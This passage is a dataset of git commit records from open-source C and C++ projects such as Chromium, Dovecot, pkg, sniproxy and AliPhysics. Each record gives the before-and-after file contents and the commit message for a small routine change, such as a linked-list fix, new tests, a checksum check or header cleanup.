UI_VIEWS_CONTROLS_BUTTON_MENU_BUTTON_DELEGATE_H_\n#pragma once\n\n#include \"ui\/views\/views_export.h\"\n\nnamespace gfx {\nclass Point;\n}\n\nnamespace views {\n\nclass View;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ MenuButtonDelegate\n\/\/\n\/\/ An interface that allows a component to tell a View about a menu that it\n\/\/ has constructed that the view can show (e.g. for MenuButton views, or as a\n\/\/ context menu.)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nclass VIEWS_EXPORT MenuButtonDelegate {\n public:\n  \/\/ Creates and shows a menu at the specified position. |source| is the view\n  \/\/ the MenuButtonDelegate was set on.\n  virtual void RunMenu(View* source, const gfx::Point& point) = 0;\n\n protected:\n  virtual ~MenuButtonDelegate() {}\n};\n\n}  \/\/ namespace views\n\n#endif  \/\/ UI_VIEWS_CONTROLS_BUTTON_MENU_BUTTON_DELEGATE_H_\n","subject":"Fix win builder by tagging MenuButtonDelegate with VIEWS_EXPORT.","message":"views: Fix win builder by tagging MenuButtonDelegate with VIEWS_EXPORT.\n\nBUG=117092\nTBR=sky@chromium.org\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/9647003\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@125656 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"axinging\/chromium-crosswalk,hujiajie\/pa-chromium,rogerwang\/chromium,Chilledheart\/chromium,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,ltilve\/chromium,markYoungH\/chromium.src,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,M4sse\/chromium.src,Just-D\/chromium-1,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ltilve\/chromium,robclark\/chromium,ltilve\/chromium,anirudhSK\/chromium,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,nacl-webkit\/chrome_deps,jaruba\/chromium.src,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,Jonekee\/chromium.src,robclark\/chromium,robclark\/chromium,rogerwang\/chromium,axinging\/chromium-crosswalk,dednal\/chromium.src,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,patrickm\/chromium.src,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,anirudhSK\/chromium,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,dednal\/chromium.src,dushu1203\/chromium.src,rogerwang\/chromium,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,rogerwang\/chromium,axinging\/chromium-crosswalk,littlstar\/chromium.src,axinging\/chromium-crosswalk,robclark\/chromium,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,markYoungH\/chromium.src,markYoungH\/chromium.src,hujiajie\/pa-chromium,ltilve\/chromium,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,ChromiumWebApps\/chromium,ltilve\/chromium,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,M4sse\/chromium.src,rogerwang\/chromium,Jonekee\/chromium.src,jaruba\/chromium.src,ltilve\/chromium,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,jaruba\/chromium.src,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,keishi\/chromium,dednal\/chromium.src,hgl888\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk-efl,ondra-novak\/chromium.src,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,zcbenz\/cefode-chromium,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,robclark\/chromium,hgl888\/chromium-crosswalk,patrickm\/chromium.src,M4sse\/chromium.src,Just-D\/chromium-1,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,keishi\/chromium,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,jaruba\/chromium.src,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,zcbenz\/cefode-chromium,dushu1203\/chromium.src,dednal\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,anirudhSK\/chromium,axinging\/chromium-crosswalk,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,rogerwang\/chromium,keishi\/chromium,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,keishi\/chromium,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,anirudhSK\/chromium,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,Just-D\/chromium-1,markYoungH\/chromium.src,anirudhSK\/chromium,ChromiumWebApps\/chromium,dushu1203\/chromium.src,ChromiumWebApps\/chromium,Chilledheart\/chromium,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,keishi\/chromium,hujiajie\/pa-chromium,PeterWangIntel\/chromium-crosswalk,keishi\/chromium,patrickm\/chromium.src,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,Just-D\/chromium-1,robclark\/chromium,dednal\/chromium.src,nacl-webkit\/chrome_deps,Chilledheart\/chromium,anirudhSK\/chromium,ondra-novak\/chromium.src,ltilve\/chromium,keishi\/chromium,hgl888\/chromium-crosswalk,keishi\/chromium,keishi\/chromium,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,markYoungH\/chromium.src,patrickm\/chromium.src,Jonekee\/chromium.src,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,nacl-webkit\/chrome_deps,TheTypoMaster\/chromium-crosswalk,zcbenz\/cefode-chromium,littlstar\/chromium.src,zcbenz\/cefode-chromium,rogerwang\/chromium,ChromiumWebApps\/chromium,dednal\/chromium.src,M4sse\/chromium.src,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,dushu1203\/chromium.src,axinging\/chromium-crosswalk,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,mogoweb\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,anirudhSK\/chromium,ChromiumWebApps\/chromium,jaruba\/chromium.src,keishi\/chromium,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,robclark\/chromium,robclark\/chromium,Jonekee\/chromium.src,patrickm\/chromium.src,dednal\/chromium.src,Jonekee\/chromium.src,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,anirudhSK\/chromium,M4sse\/chromium.src,Jonekee\/chromium.src,ondra-novak\/chromium.src,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,rogerwang\/chromium,robclark\/chromium,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk"}
{"commit":"021acd29cee735d3c314445bfac588d3eec2e4f1","old_file":"src\/lib\/llist.h","new_file":"src\/lib\/llist.h","old_contents":"#ifndef LLIST_H\n#define LLIST_H\n\n\/* Doubly linked list *\/\n#define DLLIST_PREPEND(list, item) STMT_START { \\\n\t(item)->prev = NULL; \\\n\t(item)->next = *(list); \\\n\tif (*(list) != NULL) (*(list))->prev = (item); \\\n\t*(list) = (item); \\\n\t} STMT_END\n\n#define DLLIST_REMOVE(list, item) STMT_START { \\\n\tif ((item)->prev == NULL) \\\n\t\t*(list) = (item)->next; \\\n\telse \\\n\t\t(item)->prev->next = (item)->next; \\\n\tif ((item)->next != NULL) \\\n\t\t(item)->next->prev = (item)->prev; \\\n\t} STMT_END\n\n#endif\n","new_contents":"#ifndef LLIST_H\n#define LLIST_H\n\n\/* Doubly linked list *\/\n#define DLLIST_PREPEND(list, item) STMT_START { \\\n\t(item)->prev = NULL; \\\n\t(item)->next = *(list); \\\n\tif (*(list) != NULL) (*(list))->prev = (item); \\\n\t*(list) = (item); \\\n\t} STMT_END\n\n#define DLLIST_REMOVE(list, item) STMT_START { \\\n\tif ((item)->prev == NULL) \\\n\t\t*(list) = (item)->next; \\\n\telse \\\n\t\t(item)->prev->next = (item)->next; \\\n\tif ((item)->next != NULL) { \\\n\t\t(item)->next->prev = (item)->prev; \\\n\t\t(item)->next = NULL; \\\n\t} \\\n\t(item)->prev = NULL; \\\n\t} STMT_END\n\n#endif\n","subject":"Set removed item's prev\/next pointers to NULL.","message":"DLLIST_REMOVE(): Set removed item's prev\/next pointers to NULL.\n","lang":"C","license":"mit","repos":"damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot"}
{"commit":"1bf18c373e240b9a3f00e48084796a131171d19f","old_file":"tests\/addition_tests.c","new_file":"tests\/addition_tests.c","old_contents":"#include <stdlib.h>\n#include <check.h>\n\n#include \"..\/src\/roman_calculator.h\"\n\nvoid verify_addition(const char *left, const char *right, const char *expected_result) {\n\tchar *actual_result = roman_calculator_add(left, right);\n\tck_assert_msg(\n\t\t\tstrcmp(expected_result, actual_result) == 0,\n\t\t\t\"%s + %s: expected %s, but was %s\",\n\t\t\tleft, right, expected_result, actual_result);\t       \n\tfree(actual_result);\n}\n\nSTART_TEST(can_add_by_simple_repetition)\n{\n\tverify_addition(\"I\", \"I\", \"II\");\n\tverify_addition(\"I\", \"II\", \"III\");\n\tverify_addition(\"XX\", \"X\", \"XXX\");\n\tverify_addition(\"C\", \"C\", \"CC\");\n\tverify_addition(\"M\", \"MM\", \"MMM\");\n}\nEND_TEST\n\nTCase *addition_tests()\n{\n\tTCase *test_case = tcase_create(\"addition tests\");\n\ttcase_add_test(test_case, can_add_by_simple_repetition);\n\treturn test_case;\n}\n","new_contents":"#include <stdlib.h>\n#include <check.h>\n\n#include \"..\/src\/roman_calculator.h\"\n\nvoid verify_addition(const char *left, const char *right, const char *expected_result) {\n\tchar *actual_result = roman_calculator_add(left, right);\n\tck_assert_msg(\n\t\t\tstrcmp(expected_result, actual_result) == 0,\n\t\t\t\"%s + %s: expected %s, but was %s\",\n\t\t\tleft, right, expected_result, actual_result);\t       \n\tfree(actual_result);\n}\n\nSTART_TEST(can_add_by_simple_repetition)\n{\n\tverify_addition(\"I\", \"I\", \"II\");\n\tverify_addition(\"I\", \"II\", \"III\");\n\tverify_addition(\"XX\", \"X\", \"XXX\");\n\tverify_addition(\"C\", \"C\", \"CC\");\n\tverify_addition(\"M\", \"MM\", \"MMM\");\n}\nEND_TEST\n\nSTART_TEST(can_add_by_concatenation)\n{\n\tverify_addition(\"X\", \"I\", \"XI\");\n\tverify_addition(\"MCX\", \"XV\", \"MCXXV\");\n\tverify_addition(\"DCI\", \"II\", \"DCIII\");\n\tverify_addition(\"LX\", \"XVI\", \"LXXVI\");\n}\nEND_TEST\n\nTCase *addition_tests()\n{\n\tTCase *test_case = tcase_create(\"addition tests\");\n\ttcase_add_test(test_case, can_add_by_simple_repetition);\n\ttcase_add_test(test_case, can_add_by_concatenation);\n\treturn test_case;\n}\n","subject":"Add clarifying test about addition by concatenation","message":"Add clarifying test about addition by concatenation\n\nIt doesn't just apply to repeating the same numeral.\n","lang":"C","license":"mit","repos":"greghaskins\/roman-calculator.c"}
{"commit":"db2ec1268a0a36527e74891e6da44c9f34e155e8","old_file":"mudlib\/mud\/home\/System\/lib\/auto\/second_auto.c","new_file":"mudlib\/mud\/home\/System\/lib\/auto\/second_auto.c","old_contents":"#include <kotaka\/privilege.h>\n#include <kotaka\/paths.h>\n#include <kotaka\/log.h>\n\n#include <trace.h>\n#include <type.h>\n#include <status.h>\n\ninherit \"call_guard\";\ninherit \"callout_guard\";\ninherit \"touch\";\ninherit \"object\";\n\nobject objd_canary;\n\n\/**********\/\n\/* status *\/\n\/**********\/\n\nnomask void _F_dummy()\n{\n}\n","new_contents":"#include <kotaka\/privilege.h>\n#include <kotaka\/paths.h>\n#include <kotaka\/log.h>\n\n#include <trace.h>\n#include <type.h>\n#include <status.h>\n\ninherit \"call_guard\";\ninherit \"callout_guard\";\ninherit \"touch\";\ninherit \"object\";\n\nobject canary;\n\n\/**********\/\n\/* status *\/\n\/**********\/\n\nvoid set_canary(object new_canary)\n{\n\tACCESS_CHECK(SYSTEM());\n\n\tcanary = new_canary;\n}\n\nobject query_canary()\n{\n\tACCESS_CHECK(SYSTEM());\n\n\treturn canary;\n}\n\nnomask void _F_dummy()\n{\n}\n","subject":"Allow objects to be tagged with canaries that can be destructed globally","message":"Allow objects to be tagged with canaries that can be destructed globally\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"e18b9288fec1d60d1744e98b47dfabaf1cd816fc","old_file":"libpkg\/pkg_delete.c","new_file":"libpkg\/pkg_delete.c","old_contents":"#include <err.h>\n#include <unistd.h>\n\n#include \"pkg.h\"\n\nint\npkg_delete(struct pkg *pkg, struct pkgdb *db, int force)\n{\n\tstruct pkg **rdeps;\n\tstruct pkg_file **files;\n\n\tif (pkg == NULL || db == NULL)\n\t\treturn (-1);\n\n\trdeps = pkg_rdeps(pkg);\n\tfiles = pkg_files(pkg);\n\n\tif (rdeps == NULL || files == NULL)\n\t\treturn (-1);\n\n\tif (rdeps[0] != NULL && force == 0) {\n\t\twarnx(\"%s is required by other packages\", pkg_get(pkg, PKG_ORIGIN));\n\t\treturn (-1); \/* TODO: special return code *\/\n\t}\n\n\tfor (int i = 0; files[i] != NULL; i++) {\n\t\tif (unlink(pkg_file_path(files[i])) == -1) {\n\t\t\twarn(\"unlink(%s)\", pkg_file_path(files[i]));\n\t\t\tcontinue;\n\t\t}\n\t}\n\n\treturn (pkgdb_unregister_pkg(db, pkg_get(pkg, PKG_ORIGIN)));\n}\n","new_contents":"#include <string.h>\n#include <err.h>\n#include <unistd.h>\n#include <sha256.h>\n#include <sys\/stat.h>\n\n#include \"pkg.h\"\n\nint\npkg_delete(struct pkg *pkg, struct pkgdb *db, int force)\n{\n\tstruct pkg **rdeps;\n\tstruct pkg_file **files;\n\tchar sha256[65], *sha256_ptr;\n\tstruct stat st;\n\n\tif (pkg == NULL || db == NULL)\n\t\treturn (-1);\n\n\trdeps = pkg_rdeps(pkg);\n\tfiles = pkg_files(pkg);\n\n\tif (rdeps == NULL || files == NULL)\n\t\treturn (-1);\n\n\tif (rdeps[0] != NULL && force == 0) {\n\t\twarnx(\"%s is required by other packages\", pkg_get(pkg, PKG_ORIGIN));\n\t\treturn (-1); \/* TODO: special return code *\/\n\t}\n\n\tfor (int i = 0; files[i] != NULL; i++) {\n\t\t\/* check sha256 *\/\n\t\tif (lstat(pkg_file_path(files[i]), &st) != -1 && !S_ISLNK(st.st_mode) &&\n\t\t\t((sha256_ptr = SHA256_File(pkg_file_path(files[i]), sha256)) == NULL ||\n\t\t\tstrcmp(sha256_ptr, pkg_file_sha256(files[i])) != 0))\n\t\t\twarnx(\"%s fails original SHA256 checksum, not removed\",\n\t\t\t\t\tpkg_file_path(files[i]));\n\n\t\telse if (unlink(pkg_file_path(files[i])) == -1) {\n\t\t\twarn(\"unlink(%s)\", pkg_file_path(files[i]));\n\t\t\tcontinue;\n\t\t}\n\t}\n\n\treturn (pkgdb_unregister_pkg(db, pkg_get(pkg, PKG_ORIGIN)));\n}\n","subject":"Check files sha256 when delete pkg","message":"Check files sha256 when delete pkg\n","lang":"C","license":"bsd-2-clause","repos":"skoef\/pkg,skoef\/pkg,khorben\/pkg,khorben\/pkg,Open343\/pkg,junovitch\/pkg,Open343\/pkg,khorben\/pkg,junovitch\/pkg,en90\/pkg,en90\/pkg"}
{"commit":"dc8d77d0ff0d388cab96a78fe91f13e06c670fd9","old_file":"src\/buffer.h","new_file":"src\/buffer.h","old_contents":"#ifndef BUFFER_H \n#define BUFFER_H\n\n#include <stdio.h>\n\nstruct Buffer {\n    char *buffer;\n    size_t size;\n    size_t head;\n    size_t len;\n};\n\nstruct Buffer *new_buffer();\nvoid free_buffer(struct Buffer *);\n\nssize_t buffer_recv(struct Buffer *, int, int);\nssize_t buffer_send(struct Buffer *, int, int);\nssize_t buffer_read(struct Buffer *, int);\nssize_t buffer_write(struct Buffer *, int);\nsize_t buffer_peek(const struct Buffer *, void *, size_t);\nsize_t buffer_pop(struct Buffer *, void *, size_t);\nsize_t buffer_push(struct Buffer *, const void *, size_t);\ninline size_t buffer_len(const struct Buffer *b) {\n    return b->len;\n}\ninline size_t buffer_room(const struct Buffer *b) {\n    return b->size - b->len;\n}\n\n#endif\n","new_contents":"#ifndef BUFFER_H \n#define BUFFER_H\n\n#include <stdio.h>\n\nstruct Buffer {\n    char *buffer;\n    size_t size;\n    size_t head;\n    size_t len;\n};\n\nstruct Buffer *new_buffer();\nvoid free_buffer(struct Buffer *);\n\nssize_t buffer_recv(struct Buffer *, int, int);\nssize_t buffer_send(struct Buffer *, int, int);\nssize_t buffer_read(struct Buffer *, int);\nssize_t buffer_write(struct Buffer *, int);\nsize_t buffer_peek(const struct Buffer *, void *, size_t);\nsize_t buffer_pop(struct Buffer *, void *, size_t);\nsize_t buffer_push(struct Buffer *, const void *, size_t);\nstatic inline size_t buffer_len(const struct Buffer *b) {\n    return b->len;\n}\nstatic inline size_t buffer_room(const struct Buffer *b) {\n    return b->size - b->len;\n}\n\n#endif\n","subject":"Use static for inline methods in headers","message":"Use static for inline methods in headers\n","lang":"C","license":"bsd-2-clause","repos":"balyanrobin\/sniproxy,txt3rob\/sniproxy,0xa\/sniproxy,balyanrobin\/sniproxy,dlundquist\/sniproxy,dlundquist\/sniproxy,balyanrobin\/sniproxy,txt3rob\/sniproxy,balyanrobin\/sniproxy,txt3rob\/sniproxy,0xa\/sniproxy,dlundquist\/sniproxy,0xa\/sniproxy,deeper-think\/sniproxy,dlundquist\/sniproxy,deeper-think\/sniproxy,deeper-think\/sniproxy,0xa\/sniproxy"}
{"commit":"1e30ca0b2926f671dec192f358b8739e63a450c2","old_file":"include\/screenshot.h","new_file":"include\/screenshot.h","old_contents":"#ifndef SCREENSHOT_H_INCLUDED_\n#define SCREENSHOT_H_INCLUDED_\n#include <vector>\n#include <string>\n#include <X11\/Xlib.h>\n#include <X11\/Xutil.h>\n#include <X11\/X.h>\nusing namespace std;\n\nclass X11Screenshot {\n    public:\n        X11Screenshot(XImage * image);\n        bool save_to_png(const char * path);\n        bool save_to_jpeg(const char * path, int quality);\n        int get_width(void);\n        int get_height(void);\n\n    private:\n        int width = 0;\n        int height = 0;\n        vector<vector<unsigned char>> image_data;\n        vector<vector<unsigned char>> process_rgb_image(XImage * image);\n};\n\n#endif\n","new_contents":"#ifndef SCREENSHOT_H_INCLUDED_\n#define SCREENSHOT_H_INCLUDED_\n#include <vector>\n#include <string>\n#include <X11\/Xlib.h>\n#include <X11\/Xutil.h>\n#include <X11\/X.h>\nusing namespace std;\n\nclass X11Screenshot {\n    public:\n        X11Screenshot(XImage * image, int new_width=0, int new_height=0, string downscale_type=\"lineral\");\n        bool save_to_png(const char * path);\n        bool save_to_jpeg(const char * path, int quality);\n        int get_width(void);\n        int get_height(void);\n\n    private:\n        int width = 0;\n        int height = 0;\n        vector<vector<unsigned char>> image_data = vector<vector<unsigned char>>();\n        vector<vector<unsigned char>> process_original(XImage * image);\n        vector<vector<unsigned char>> process_downscale_lineral(XImage * image, int new_width=0, int new_height=0);\n        vector<vector<unsigned char>> process_downscale_bilineral(XImage * image, int new_width=0, int new_height=0);\n};\n\n#endif\n","subject":"Change X11Screenshot structure, add downscale options","message":"Change X11Screenshot structure, add downscale options\n","lang":"C","license":"mit","repos":"Butataki\/cpp-x11-make-screenshot"}
{"commit":"0356aa6bb3f791e5fee71ebfc4e9509f4a2e550d","old_file":"ios\/Exponent\/Versioned\/Core\/Api\/Cognito\/RNAWSCognito.h","new_file":"ios\/Exponent\/Versioned\/Core\/Api\/Cognito\/RNAWSCognito.h","old_contents":"#if __has_include(\"RCTBridgeModule.h\")\n#import \"RCTBridgeModule.h\"\n#else\n#import <React\/RCTBridgeModule.h>\n#endif\n\n#if __has_include(\"RCTLog.h\")\n#import \"RCTLog.h\"\n#else\n#import <React\/RCTLog.h>\n#endif\n\n#if __has_include(\"RCTUtils.h\")\n#import \"RCTUtils.h\"\n#else\n#import <React\/RCTUtils.h>\n#endif\n\n#import \"JKBigInteger.h\"\n\n@interface RNAWSCognito : NSObject <RCTBridgeModule>\n\n@end\n","new_contents":"#if __has_include(\"RCTBridgeModule.h\")\n#import \"RCTBridgeModule.h\"\n#else\n#import <React\/RCTBridgeModule.h>\n#endif\n\n#if __has_include(\"RCTLog.h\")\n#import \"RCTLog.h\"\n#else\n#import <React\/RCTLog.h>\n#endif\n\n#if __has_include(\"RCTUtils.h\")\n#import \"RCTUtils.h\"\n#else\n#import <React\/RCTUtils.h>\n#endif\n\n#import <JKBigInteger.h>\n\n@interface RNAWSCognito : NSObject <RCTBridgeModule>\n\n@end\n","subject":"Fix Cognito BigInteger import for versioning","message":"Fix Cognito BigInteger import for versioning\n\nfbshipit-source-id: ae0433a\n","lang":"C","license":"bsd-3-clause","repos":"exponentjs\/exponent,exponent\/exponent,exponent\/exponent,exponent\/exponent,exponent\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponent\/exponent,exponent\/exponent,exponent\/exponent,exponentjs\/exponent,exponent\/exponent,exponent\/exponent"}
{"commit":"decd02a67002542282474f527030e168725e5dbc","old_file":"PWGCF\/PWGCFESELinkDef.h","new_file":"PWGCF\/PWGCFESELinkDef.h","old_contents":"","new_contents":"#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class AliAnalysisTaskFemtoESE+;\n#pragma link C++ class AliFemtoESEBasicParticle+;\n","subject":"Add Event-Shape-Engineering code for Femtoscopy","message":"Add Event-Shape-Engineering code for Femtoscopy\n","lang":"C","license":"bsd-3-clause","repos":"pbuehler\/AliPhysics,pbuehler\/AliPhysics,AMechler\/AliPhysics,fcolamar\/AliPhysics,pchrista\/AliPhysics,kreisl\/AliPhysics,pchrista\/AliPhysics,preghenella\/AliPhysics,ALICEHLT\/AliPhysics,mvala\/AliPhysics,hzanoli\/AliPhysics,preghenella\/AliPhysics,aaniin\/AliPhysics,btrzecia\/AliPhysics,dlodato\/AliPhysics,dlodato\/AliPhysics,lfeldkam\/AliPhysics,alisw\/AliPhysics,mpuccio\/AliPhysics,mazimm\/AliPhysics,akubera\/AliPhysics,jgronefe\/AliPhysics,mkrzewic\/AliPhysics,victor-gonzalez\/AliPhysics,rbailhac\/AliPhysics,amatyja\/AliPhysics,lcunquei\/AliPhysics,AMechler\/AliPhysics,kreisl\/AliPhysics,amaringarcia\/AliPhysics,mazimm\/AliPhysics,nschmidtALICE\/AliPhysics,dstocco\/AliPhysics,rbailhac\/AliPhysics,amatyja\/AliPhysics,pchrista\/AliPhysics,lcunquei\/AliPhysics,dstocco\/AliPhysics,ALICEHLT\/AliPhysics,mbjadhav\/AliPhysics,pchrista\/AliPhysics,SHornung1\/AliPhysics,kreisl\/AliPhysics,alisw\/AliPhysics,lcunquei\/AliPhysics,preghenella\/AliPhysics,AudreyFrancisco\/AliPhysics,SHornung1\/AliPhysics,aaniin\/AliPhysics,SHornung1\/AliPhysics,rbailhac\/AliPhysics,mkrzewic\/AliPhysics,hcab14\/AliPhysics,preghenella\/AliPhysics,sebaleh\/AliPhysics,adriansev\/AliPhysics,ppribeli\/AliPhysics,lfeldkam\/AliPhysics,amaringarcia\/AliPhysics,jgronefe\/AliPhysics,mazimm\